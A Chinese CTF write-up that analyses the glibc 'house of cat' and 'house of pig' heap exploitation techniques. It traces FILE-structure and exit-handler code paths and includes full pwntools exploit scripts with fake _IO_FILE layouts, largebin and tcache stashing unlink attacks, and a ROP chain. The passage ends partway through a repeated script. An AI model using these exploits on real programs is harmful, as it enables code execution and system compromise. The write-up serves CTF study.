house系1
house of cat
参考:https://bbs.pediy.com/thread-273895.htm#msg_header_h1_0(提出了这种新的方式)
该文章虽然提出了新的手法,但是有些地方省略过多,故进行了调试分析,总结出完整的一个流程,分享给大家:
位于 /malloc/malloc.c 之中可以发现 __malloc_assert 的定义,并且 __assert_fail 等同于 __malloc_assert ,而 __assert 宏定义调用了 __assert_fail :
# define __assert_fail(assertion, file, line, function) \
__malloc_assert(assertion, file, line, function)
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
# define assert(expr) \
(static_cast <bool> (expr) \
? void (0) \
: __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION)
可以发现首先执行 __fxprintf 函数,跟踪看看,发现 _fxprintf 函数调用了 _vfxprintf ,而该函数经历了 _IO_flockfile 函数与 locked_vfxprintf 函数, _IO_flockfile 函数宏定义使用了*(_fp)->_lock即fp之中的_lock指针,故该指针必须具有写权限;
int
__fxprintf (FILE *fp, const char *fmt, ...)
{
va_list ap;
va_start (ap, fmt);
int res = __vfxprintf (fp, fmt, ap, 0);
va_end (ap);
return res;
}
int
__vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (fp == NULL)
fp = stderr;
_IO_flockfile (fp);
int res = locked_vfxprintf (fp, fmt, ap, mode_flags);
_IO_funlockfile (fp);
return res;
}
# define _IO_flockfile(_fp) \
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)
#define _IO_lock_lock(_name) \
do { \
void *__self = THREAD_SELF; \
if ((_name).owner != __self) \
{ \
lll_lock ((_name).lock, LLL_PRIVATE); \
(_name).owner = __self; \
} \
++(_name).cnt; \
} while (0)
着重分析一下 __vfprintf_internal 函数,实际上存在着隐藏着的定义 vfprintf 函数;
# define vfprintf __vfprintf_internal
采用了这种方法进行隐藏函数具体实现,需要通过搜索字符来判断真正函数实现位置
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
略...
}
汇编如下(关键位置
0x7f47b602c1bd mov rsi, qword ptr [rsp + 8]
0x7f47b602c1c2 mov rdx, rbx
0x7f47b602c1c5 mov rdi, rbp
► 0x7f47b602c1c8 call qword ptr [r12 + 0x38] <_IO_wfile_seekoff>
rdi: 0x5574e203fb00 ◂— 0x0
rsi: 0x7f47b6195208 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
rdx: 0x0
rcx: 0x7f47b61cca00 ◂— 0x0
寄存器r12之中储存着_IO_FILE_plus.vtable指针,根据该指针偏移0x38,同样我们可以修改vtable指针偏移,那么将可以进入到vtable指针所指虚表之中所有的call地址;
修改vtable指针+0x10,此时将会进入到_IO_wfile_seekoff之中;
不过对于vtable指针存在着检查
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
翻译成汇编部分:
0x7fb58eded180 mov r12, qword ptr [rbp + 0xd8]
0x7fb58eded187 lea rax, [rip + 0x1a15da]
0x7fb58eded18e mov rbx, qword ptr [rsp + 0x68]
0x7fb58eded193 lea rcx, [rip + 0x1a0866]
0x7fb58eded19a sub rax, qword ptr [rip + 0x1a2677]
0x7fb58eded1a1 sub rbx, qword ptr [rsp + 8]
0x7fb58eded1a6 mov qword ptr [rsp + 0x30], rax
0x7fb58eded1ab mov rdi, rax
0x7fb58eded1ae mov rax, r12
0x7fb58eded1b1 sub rax, rcx
0x7fb58eded1b4 cmp rdi, rax
► 0x7fb58eded1b7 jbe 0x7fb58edeea50 <0x7fb58edeea50>
同样的,寄存器r12之中储存着vtable指针,经过一定运算cmp rdi, rax最后进行比较,跳转;
查看 _IO_wfile_seekoff 函数,并进入 _IO_switch_to_wget_mode 函数之中查看:
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
if (mode == 0)//mode不能为0,否则将进入do_ftell_wide (fp)函数
return do_ftell_wide (fp);
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));//需要fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
if (was_writing && _IO_switch_to_wget_mode (fp))//was_writing 为1则会执行_IO_switch_to_wget_mode (fp)函数
return WEOF;
略...
}
此时将进入如下函数
int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
略...
}
libc_hidden_def (_IO_switch_to_wget_mode)
而_IO_WOVERFLOW则为宏定义,此时我们可以执行WJUMP1 (__overflow, FP, CH)
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
+ offsetof(TYPE, MEMBER)))
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
这么多宏定义,实际上是个call指令,进入虚表而已;
最终执行
0x7fb58edfbd30 <_IO_switch_to_wget_mode> endbr64
0x7fb58edfbd34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0] //rax取_wide_data指针
0x7fb58edfbd3b <_IO_switch_to_wget_mode+11> push rbx //push 0
0x7fb58edfbd3c <_IO_switch_to_wget_mode+12> mov rbx, rdi //rbx取fake_io_file
0x7fb58edfbd3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20] //rdx取_wide_data->IO_write_ptr
0x7fb58edfbd43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18] //cmp _wide_data->_IO_write_base
0x7fb58edfbd47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>
0x7fb58edfbd49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0] //rax取_wide_data指针偏移0xe0
0x7fb58edfbd50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
► 0x7fb58edfbd55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18] //call
整理得到:
条件
(S)->_flags & _IO_UNBUFFERED == 0(即(S)->_flags & 2 == 0 //该处无需刻意注意,一般此时该位置都为0
fake_io_file+0x90 = _wide_data(指针) //这里我们假设指向fake_io_file+0x30位置
mode != 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base(fp即是我们伪造的fake_io_file
//那么这条语句则为 fake_io_file+0x50 > fake_io_file+0x48
fp->_lock是一个可写地址 //要经过宏定义_IO_lock_lock的处理,需要作为指针并写入值操作
如下为布局:
0x556d2583bb00: 0x0000000000000000 0x0000000000000421 //fake_io_file
0x556d2583bb10: 0x0000000000000000 0x0000000000000000
0x556d2583bb20: 0x0000000000000000 0x0000000000000000
0x556d2583bb30: 0x0000000000000000 0x0000000000000000 //_wide_data结构体
0x556d2583bb40: 0x0000000000000001 0x0000000000000000 //_IO_read_base _IO_write_base
0x556d2583bb50: 0x0000556d2583bbb0 0x00007fbfae469a6d //_IO_write_ptr call_addr
0x556d2583bb60: 0x0000000000000000 0x0000000000000000 // _chain
0x556d2583bb70: 0x0000000000000000 0x0000000000000000
0x556d2583bb80: 0x0000000000000000 0x0000556d2583c000 // _lock
0x556d2583bb90: 0x0000000000000000 0x0000000000000000
0x556d2583bba0: 0x0000556d2583bb30 0x0000000000000000 //_wide_data指针
0x556d2583bbb0: 0x0000000000000000 0x0000000000000000
0x556d2583bbc0: 0x0000000000000000 0x0000000000000000 //_mode
0x556d2583bbd0: 0x0000000000000000 0x00007fbfae62c0d0 // vtable
0x556d2583bbe0: 0x0000000000000000 0x0000000000000000
0x556d2583bbf0: 0x0000000000000000 0x0000000000000000
0x556d2583bc00: 0x0000000000000000 0x0000000000000000
0x556d2583bc10: 0x0000556d2583bb40 0x0000556d2583c7d0 //rax(跳板) flag_addr(rdi)
0x556d2583bc20: 0x0000000000000000 0x0000000000000000
0x556d2583bc30: 0x0000000000000000 0x0000000000000000
0x556d2583bc40: 0x0000000000000000 0x0000000000000000
0x556d2583bc50: 0x0000556d2583d050 0x00007fbfae43fcd6 //rsp(rop) ret(ret_addr)
0x556d2583bc60: 0x0000000000000000 0x0000000000000000
到这里调用链基本整理完毕了,可能有点晕了;
接下来这个则是比较简单的,largebin attack高版本的路线(共两条路线,禁止了一条路线),我们需要该攻击手段修改stderr指向堆地址(fake_io_file)
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);//bck = libc_addr
fwd = bck->fd;//fwd = largebin
/* maintain large bins in sorted order */
if (fwd != bck)
{
略...
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;//fwd = libc_addr
bck = bck->bk;//bck = largebin
victim->fd_nextsize = fwd->fd;//chunk+0x10 = largebin
victim->bk_nextsize = fwd->fd->bk_nextsize;//heap_addr+0x18 = target_addr(largebin+0x18)
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//largebin->bk_nextsize = target_addr->fd_nextsize = heap_addr
}
else
{
略...
}
}
略...
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
这里给出_IO_2_1_std…等结构体定义:
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;//0x60
struct _IO_FILE *_chain;//0x68
int _fileno;
int _flags2;//0x70
__off_t _old_offset; /* This used to be _offset but it's too small. */ //0x78
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;//0x80
signed char _vtable_offset;
char _shortbuf[1];//0x84
_IO_lock_t *_lock;//0x88
#ifdef _IO_USE_OLD_IO_FILE
};
结构体_IO_FILE_complete,进入_IO_wfile_seekoff函数将采用该结构体
struct _IO_FILE_complete
{
struct _IO_FILE _file;//0x88
#endif
__off64_t _offset;//0x90
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;//0x98
struct _IO_wide_data *_wide_data;//0xa0
struct _IO_FILE *_freeres_list;//0xa8
void *_freeres_buf;//0xb0
size_t __pad5;//0xb8
int _mode;//0xc0
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];//0xc8
};//0xd8
exp参考自wp:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
binary = './house_of_cat'
r = process(binary)
elf = ELF(binary)
libc = elf.libc
login = lambda : r.sendafter("mew~~~~~~\n",b'LOGIN | r00t QWBQWXF admin')
cat = lambda : r.sendafter("mew~~~~~~\n",b'CAT | r00t QWBQWXF $\xff')
def add(index,size=0x418,payload=b'/bin/sh\x00'):
cat()
r.sendlineafter("cat choice:\n",'1')
r.sendlineafter("cat idx:\n",str(index))
r.sendlineafter("cat size:\n",str(size))
r.sendafter("content:\n",payload)
def delete(index):
cat()
r.sendlineafter("cat choice:\n",'2')
r.sendlineafter("cat idx:\n",str(index))
def show(index):
cat()
r.sendlineafter("cat choice:\n",'3')
r.sendlineafter("cat idx:\n",str(index))
def edit(index,payload):
cat()
r.sendlineafter("cat choice:\n",'4')
r.sendlineafter("cat idx:\n",str(index))
r.sendlineafter("content:\n",payload)
def pwndbg():
gdb.attach(r)
pause()
login()
add(0,0x420)
add(1,0x430)
add(2,0x418)
delete(0)
add(3,0x440)# 将0_chunk放入largebin之中,从而泄露heap与libc地址
show(0)
r.recvuntil("Context:\n")
libc_base = u64(r.recv(8))-0x21A0D0
heap_base = u64(r.recv(16)[8:])-0x290
pop_rax_ret = libc_base+0x0000000000045eb0
pop_rdi_ret = libc_base+0x000000000002a3e5
pop_rsi_ret = libc_base+0x000000000002be51
pop_rdx_r12_ret = libc_base+0x000000000011f497
stderr_addr = libc_base+0x21a860
setcontext_addr = libc_base+0x53A30
read_addr = libc_base+0x114980
write_addr = libc_base+0x114A20
close_addr = libc_base+0x115100
syscall = libc_base+0x91396
ret = libc_base+0x0000000000029cd6
ioaddr=heap_base+0xb00
fake_io_addr = heap_base+0xb00# fake_IO_FILE缺少0x10头部
fake_IO_FILE = p64(0)*6# 伪造的_wide_data结构体
fake_IO_FILE += p64(1)+p64(0)#
fake_IO_FILE += p64(fake_io_addr+0xb0)#_IO_backup_base=setcontext_rdx
fake_IO_FILE += p64(setcontext_addr+61)#_IO_save_end=call addr(call setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
flagaddr = heap_base+0x17d0
payload1 = fake_IO_FILE+p64(flagaddr)+p64(0)*6+p64(heap_base+0x2050)+p64(ret)
delete(2)
add(6,0x418,payload1)
delete(6)
#===============largebin attack stderr pointer===============
edit(0,p64(libc_base+0x21A0D0)*2+p64(heap_base+0x290)+p64(stderr_addr-0x20))
add(5,0x440)
add(7,0x430,b'flag\x00')
add(8,0x430)
#===============ROP===============
payload2 = flat([
pop_rdi_ret,0,close_addr,
pop_rdi_ret,flagaddr,pop_rsi_ret,0,pop_rax_ret,2,syscall,
pop_rdi_ret,0,pop_rsi_ret,flagaddr,pop_rdx_r12_ret,0x50,0,read_addr,
pop_rdi_ret,1,write_addr
])
add(9,0x430,payload2)
delete(5)
add(10,0x450,p64(0)+p64(1))
delete(8)
#===============largebin attack top_chunk->size===============
edit(5,p64(0x21A0E0)*2+p64(heap_base+0x1370)+p64(heap_base+0x28e0-0x20+3))
success(hex(libc_base))
success(hex(heap_base))
#gdb.attach(r)
cat()
r.sendlineafter("cat choice:\n",'1')
r.sendlineafter("cat idx:\n",str(11))
pwndbg()
r.sendlineafter("cat size:\n",str(0x450))
r.interactive()
house of pig
根据house of pig链接可以发现文章具体介绍了该手法的利用,但是细节上缺少,故进行细致分析;
首先我们分析house of pig最终的利用链是什么?
发现exit函数实际为__run_exit_handlers函数封装;
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
进入__run_exit_handlers函数看下
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
while (true)
{
略...
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
略...
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
略...
onfct (status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
略...
atfct ();
break;
case ef_cxa:
略...
cxafct (f->func.cxa.arg, status);
break;
}
略...
}
大概位于此位置进入_dl_fini函数(此处是通过调试汇编得到程序行数的)(本次利用不使用此函数
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
_exit (status);
}
通过调试,可以发现进入了_IO_cleanup函数,而该函数则是清理IO_list链表的;
0x7fed294f499d <__run_exit_handlers+493> sub rax, 1
0x7fed294f49a1 <__run_exit_handlers+497> sub rax, rbx
0x7fed294f49a4 <__run_exit_handlers+500> shr rax, 3
0x7fed294f49a8 <__run_exit_handlers+504> lea r12, [rbx + rax*8 + 8]
0x7fed294f49ad <__run_exit_handlers+509> nop dword ptr [rax]
► 0x7fed294f49b0 <__run_exit_handlers+512> call qword ptr [rbx] <_IO_cleanup>
rdi: 0x7fed294ad108 (signgam) ◂— 0x0
rsi: 0x0
rdx: 0x1
rcx: 0x0
此时我们进入 _IO_cleanup 函数发现:
int
_IO_cleanup (void)
{
int result = _IO_flush_all_lockp (0);
_IO_unbuffer_all ();
return result;
}
发现_IO_cleanup为_IO_flush_all_lockp的封装,故进入_IO_flush_all_lockp函数查看
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{//循环获取io_list链表,一般为<_IO_2_1_stderr_>-》<_IO_2_1_stdout_>-》<_IO_2_1_stdin_>
run_fp = fp;//tmp_fp获取FILE结构体,我们可以伪造IO_list_all的值,也可以伪造_chain值(也就是bk)
略...
//这里我们需要执行_IO_OVERFLOW函数,该函数可以伪造vtable进而使其成为_IO_str_overflow函数
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0//我们需要满足fp->_mode <= 0以及fp->_IO_write_ptr > fp->_IO_write_base条件即可
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)//根据vtable+偏移跳转
result = EOF;
略...
}
略...
}
此时程序流应位于 _IO_str_overflow 函数之中,我们查看源码分析流程:
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int
_IO_str_overflow (FILE *fp, int c)
{
略...
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else//这里需要fp->_flags为0
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);//old_ble = fp->_IO_buf_end - fp->_IO_buf_base(这里我们通过伪造_IO_buf_end以及_IO_buf_base来控制old_blen变量的大小,进而操控接下来的malloc申请size的大小
size_t new_size = 2 * old_blen + 100;//进行一定运算
if (new_size < old_blen)//进行判断是否溢出
return EOF;
new_buf = malloc (new_size);//申请堆块,相当于我们能申请0x64~无穷大的堆块
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)//这里需要伪造_IO_buf_base,指向我们的payload的地址
{
memcpy (new_buf, old_buf, old_blen);//将准备好的payload复制于新申请的new_buf之中
free (old_buf);//再次释放,house of pig手法利用了此次free来执行__free_hook,进行获取权限;故接下来的程序就无用了
略...
}
libc_hidden_def (_IO_str_overflow)
到此刻我们的利用链条终于分析完毕了,解下来,则是根据题目进行调试分析;以xctf final的house_of_pig题目为例(题目整体堆分水较为精妙),利用难度并不低;
可以看到整体较为复杂,在pwn题目之中可谓复杂至极,程序之中共有3个角色,增删改查函数3个角色各不相同;不过位于delete函数之中都存在着UAF漏洞,而add与edit存在输入位置也不是连续输入,而是输入0x10字节,偏移0x30再次输入(不存在溢出);
但是程序之中存在着一次连续输入,如下:
而角色切换涉及到了部分逆向,不过最终是利用截断实现角色切换的过程的;
整体比较复杂,首先我们进行准备阶段;此时我们将填充tcache[0xa0]数量5个,填满tcache[0x160]和tcache[0x190],并利用切割unsortedbin的手段,使切割剩余的部分进入到smallbin之中;重复切割两次,使得smallbin[0xa0]存在2个堆块;
#========tcache stashing unlink attack========(准备)
change_role(2)
for i in range(5):#填充tcache[0xa0].count = 5
add(0x90)
delete(i)
change_role(1)
add(0x150)#0 role1
for i in range(7):#填充tcache[0x160].count = 7
add(0x150)#0 role1
delete(i+1)
delete(0)# role1 unsortedbin[0x160]->smallbin[0xa0]
change_role(2)
add(0xb0,b'a'*0x40,flag=1)#5 role2
change_role(1)
add(0x180)#8 role1
for i in range(7):#填充tcache[0x190].count = 7
add(0x180)
delete(i+9)
delete(8)# role1 unsortedbin[0x190]->smallbin[0xa0]
change_role(2)
add(0xe0,b'b'*0x50,flag=1)#6 role2
第二步,我们便要泄露地址,利用一个角色制造出largebin,然后泄露出libc基址以及heap的地址;
#========leak========
change_role(1)
add(0x430)#16 role1
change_role(2)
add(0xf0)#7 role2
change_role(1)
delete(16)# unsortedbin[0x440]->largebin
change_role(2)
add(0x440,b'c'*0x170,flag=1)#8 role2
change_role(1)
libc_base = show(16,1)-1120-0x10-libc.sym['__malloc_hook']
system_addr = libc_base+libc.sym['system']
free_hook = libc_base+libc.sym['__free_hook']
io_list_all = libc_base+libc.sym['_IO_list_all']
edit(16,b'd'*0xf+b'\n')
show(16)
r.recvuntil("ddddddddddddddd\n")
heap_base = u64(r.recv(6).ljust(8,b'\x00'))-0x13940
第三步,第一次largebin_attack,修改__free_hook-0x8位置为堆地址,符合tcache stashing unlink attack的fake_chunk的bk指针要求可写的条件;为接下来的利用作准备;
#========first largebin attack========
edit(16,p64(libc_base+0x1ECFE0)*2+b'\n')#恢复被破坏的指针
add(0x430)#17 role1
add(0x430)#18 role1
add(0x430)#19 role1
change_role(2)
delete(8)# unsortedbin[0x450]->largebin[0x450]
add(0x450)
change_role(1)
delete(17)# unsortedbin[0x440]
change_role(2)
edit(8,p64(0)+p64(free_hook-0x28)+b'\n')#修改largebin[0x450]的fd_nextsize和bk_nextsize
change_role(3)#0 role3
add(0xa0,b'e'*0x40,flag=1)#largebin_attack 写入free_hook-0x8为unsortedbin地址
# 这里申请了0xa0堆块,首先unsortedbin被放入了largebin之中,触发了largebin_attack,
# 而largebin输入FILO算法,此时对放入largebin之中的unsortedbin进行切割并放回unsortedbin之中
change_role(2)
edit(8,p64(heap_base+0x13E80)*2+b'\n')#恢复largebin的fd_nextsize等指针
第四步,第二次largebin_attack攻击_IO_list_all指向已知堆地址,并修改fake_io_file(已知堆地址)的_chain指向伪造好的要劫持程序流的fake_io_file;
#========second largebin attack========
change_role(3)#1 role3
add(0x380,b'f'*0x130,flag=1)#申请回unsortedbin上的堆块
change_role(1)
delete(19)# unsortedbin[0x440]
change_role(2)
edit(8,p64(0)+p64(io_list_all-0x20)+b'\n')#伪造largebin指针
change_role(3)#2 role3
add(0xa0,b'g'*0x40,flag=1)#largebin_attack 同理
change_role(2)
edit(8,p64(heap_base+0x13E80)*2+b'\n')#恢复指针
最后,我们输入伪造的fake_io_file并进入exit函数,最终执行 _IO_cleanup ,连续调用malloc、memcpy、free完成攻击;
#========tcache stashing unlink attack and file attack========
change_role(1)
edit(8,b'a'*0x50+p64(heap_base+0x12280)+p64(free_hook-0x20)+b'\n')#修改smallbin的bk指针,将fake_chunk放入tcache之中
change_role(3)
add(0x440,(b'\x00'*0x18+(p64(heap_base+0x147c0))).ljust(0x160,b'\x00'),flag=1)#3 role3 申请largebin并写入_chain值
add(0x90)#5 role3 连续性写入fake_io_file 并造成tcache stashing unlink attack
fake_io_file = flat({
0x10: 1 ,#_IO_write_base
0x18: 0xffffffffffffffff ,#_IO_write_ptr
0x20: 0 ,#_IO_write_end
0x28: heap_base+0x148a0 ,#_IO_buf_base
0x30: heap_base+0x148b8 ,#_IO_buf_end
0xb0: 0 ,#_mode
0xc8: libc_base+0x1E9560#libc.sym['_IO_str_jumps']#vtable
},filler=b'\x00')
#payload = fake_io_file+b'/bin/sh\x00'+p64(system_addr)*2
r.send(payload)
success("libc_base -> "+hex(libc_base))
success("heap_base -> "+hex(heap_base))
#pwndbg()
r.sendlineafter("Choice: ",'5')
r.sendlineafter("user:\n",b'')
r.interactive()
附上最终exp:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
binary = './pig'
r = process(binary)
elf = ELF(binary)
libc = elf.libc
def add(size,payload=b'binsh\x00\x00\x00',fake_pay=b'',flag=0):
r.sendlineafter("Choice: ",'1')
r.sendlineafter("message size: ",str(size))
if flag&1:
r.sendafter("message: ",payload)
else:
r.sendafter("message: ",payload*int(size*2/0x30))
if flag&2:
r.sendafter("01dwang's Gift:",fake_pay)
def show(index,flag=0):
r.sendlineafter("Choice: ",'2')
r.sendlineafter("message index: ",str(index))
if flag:
r.recvuntil("The message is: ")
return u64(r.recv(6).ljust(8,b'\x00'))
def edit(index,payload):
r.sendlineafter("Choice: ",'3')
r.sendlineafter("message index: ",str(index))
r.sendafter("message: ",payload)
def delete(index):
r.sendlineafter("Choice: ",'4')
r.sendlineafter("message index: ",str(index))
def change_role(role):
r.sendlineafter("Choice: ",'5')
if role == 1:#20
r.sendlineafter("user:\n",b'A\x01\x95\xc9\x1c')
elif role == 2:#10
r.sendlineafter("user:\n",b'B\x01\x87\xc3\x19')
elif role == 3:#4 5=fake_io_file
r.sendlineafter("user:\n",b'C\x01\xf7\x3c\x32')
def pwndbg():
gdb.attach(r)
pause()
#========tcache stashing unlink attack========(准备)
change_role(2)
for i in range(5):#填充tcache[0xa0].count = 5
add(0x90)
delete(i)
change_role(1)
add(0x150)#0 role1
for i in range(7):#填充tcache[0x160].count = 7
add(0x150)#0 role1
delete(i+1)
delete(0)# role1 unsortedbin[0x160]->smallbin[0xa0]
change_role(2)
add(0xb0,b'a'*0x40,flag=1)#5 role2
change_role(1)
add(0x180)#8 role1
for i in range(7):#填充tcache[0x190].count = 7
add(0x180)
delete(i+9)
delete(8)# role1 unsortedbin[0x190]->smallbin[0xa0]
change_role(2)
add(0xe0,b'b'*0x50,flag=1)#6 role2
#========leak========
change_role(1)
add(0x430)#16 role1
change_role(2)
add(0xf0)#7 role2
change_role(1)
delete(16)# unsortedbin[0x440]->largebin
change_role(2)
add(0x440,b'c'*0x170,flag=1)#8 role2
change_role(1)
libc_base = show(16,1)-1120-0x10-libc.sym['__malloc_hook']
system_addr = libc_base+libc.sym['system']
free_hook = libc_base+libc.sym['__free_hook']
io_list_all = libc_base+libc.sym['_IO_list_all']
edit(16,b'd'*0xf+b'\n')
show(16)
r.recvuntil("ddddddddddddddd\n")
heap_base = u64(r.recv(6).ljust(8,b'\x00'))-0x13940
#========first largebin attack========
edit(16,p64(libc_base+0x1ECFE0)*2+b'\n')#恢复被破坏的指针
add(0x430)#17 role1
add(0x430)#18 role1
add(0x430)#19 role1
change_role(2)
delete(8)# unsortedbin[0x450]->largebin[0x450]
add(0x450)
change_role(1)
delete(17)# unsortedbin[0x440]
change_role(2)
edit(8,p64(0)+p64(free_hook-0x28)+b'\n')#修改largebin[0x450]的fd_nextsize和bk_nextsize
change_role(3)#0 role3
add(0xa0,b'e'*0x40,flag=1)#largebin_attack 写入free_hook-0x8为unsortedbin地址
# 这里申请了0xa0堆块,首先unsortedbin被放入了largebin之中,触发了largebin_attack,
# 而largebin输入FILO算法,此时对放入largebin之中的unsortedbin进行切割并放入unsortedbin之中
change_role(2)
edit(8,p64(heap_base+0x13E80)*2+b'\n')#恢复largebin的fd_nextsize等指针
#========second largebin attack========
change_role(3)#1 role3
add(0x380,b'f'*0x130,flag=1)#申请回unsortedbin上的堆块
change_role(1)
delete(19)# unsortedbin[0x440]
change_role(2)
edit(8,p64(0)+p64(io_list_all-0x20)+b'\n')#伪造largebin指针
change_role(3)#2 role3
add(0xa0,b'g'*0x40,flag=1)#largebin_attack 同理
change_role(2)
edit(8,p64(heap_base+0x13E80)*2+b'\n')#恢复指针
#========tcache stashing unlink attack and file attack========
change_role(1)
edit(8,b'a'*0x50+p64(heap_base+0x12280)+p64(free_hook-0x20)+b'\n')#修改smallbin的bk指针,将fake_chunk放入tcache之中
change_role(3)
add(0x440,(b'\x00'*0x18+(p64(heap_base+0x147c0))).ljust(0x160,b'\x00'),flag=1)#3 role3 申请largebin并写入_chain值
add(0x90)#5 role3 连续性写入fake_io_file 并造成tcache stashing unlink attack
fake_io_file = flat({
0x10: 1 ,#_IO_write_base
0x18: 0xffffffffffffffff ,#_IO_write_ptr
0x20: 0 ,#_IO_write_end
0x28: heap_base+0x148a0 ,#_IO_buf_base
0x30: heap_base+0x148b8 ,#_IO_buf_end
0xb0: 0 ,#_mode
